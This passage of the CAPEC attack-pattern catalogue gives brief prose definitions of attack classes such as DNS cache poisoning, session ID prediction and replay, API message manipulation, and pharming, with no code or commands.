A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-160: Exploit Script-Based APIs

Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-384: Application API Message Manipulation via Man-in-the-Middle

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.

CAPEC-385: Transaction or Event Tampering via Application API Manipulation

An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.

CAPEC-386: Application API Navigation Remapping

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.

CAPEC-387: Navigation Remapping To Propagate Malicious Content

An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.

CAPEC-388: Application API Button Hijacking

An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.

CAPEC-510: SaaS User Request Forgery

An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-89: Pharming

A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.

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